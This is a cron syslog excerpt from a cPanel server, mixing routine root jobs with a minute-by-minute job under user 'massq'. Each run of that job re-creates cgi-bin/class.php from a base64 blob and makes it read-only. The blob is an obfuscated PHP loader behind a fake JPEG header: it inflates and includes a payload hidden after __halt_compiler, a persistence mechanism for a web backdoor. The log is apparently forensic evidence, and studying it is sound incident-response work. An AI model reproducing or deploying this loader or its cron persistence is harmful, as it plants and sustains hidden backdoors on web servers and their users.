Sep 12 16:54:01 server CROND[24252]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:55:01 server CROND[24645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:55:01 server CROND[24647]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 16:55:01 server CROND[24649]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:55:01 server CROND[24650]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 16:55:01 server CROND[24652]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:55:01 server CROND[24653]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 16:55:01 server CROND[24651]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 16:56:01 server CROND[25568]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:56:01 server CROND[25569]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:56:01 server CROND[25570]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:57:01 server CROND[25940]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:57:01 server CROND[25942]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:57:01 server CROND[25941]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 16:57:01 server CROND[25947]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:58:01 server CROND[26334]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:58:01 server CROND[26335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:58:01 server CROND[26336]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:59:01 server CROND[26771]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:59:01 server CROND[26772]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:59:01 server CROND[26773]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:00:01 server CROND[27225]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 17:00:01 server CROND[27226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:00:01 server CROND[27228]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 12 17:00:01 server CROND[27230]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:00:01 server CROND[27233]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 17:00:01 server CROND[27240]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:00:01 server CROND[27242]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 17:00:01 server CROND[27243]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 17:00:01 server CROND[27241]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 17:01:01 server CROND[28186]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:01:01 server CROND[28187]: (root) CMD (run-parts /etc/cron.hourly)
Sep 12 17:01:01 server CROND[28188]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:01:01 server CROND[28189]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:01:01 server run-parts(/etc/cron.hourly)[28187]: starting 0anacron
Sep 12 17:01:01 server run-parts(/etc/cron.hourly)[28208]: finished 0anacron
Sep 12 17:02:01 server CROND[28566]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:02:01 server CROND[28567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:02:01 server CROND[28565]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:03:01 server CROND[28958]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:03:01 server CROND[28959]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:03:01 server CROND[28960]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:04:01 server CROND[29391]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:04:01 server CROND[29392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:04:01 server CROND[29393]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:05:01 server CROND[29780]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 12 17:05:01 server CROND[29781]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 17:05:01 server CROND[29779]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 17:05:01 server CROND[29785]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:05:01 server CROND[29786]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 17:05:01 server CROND[29788]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
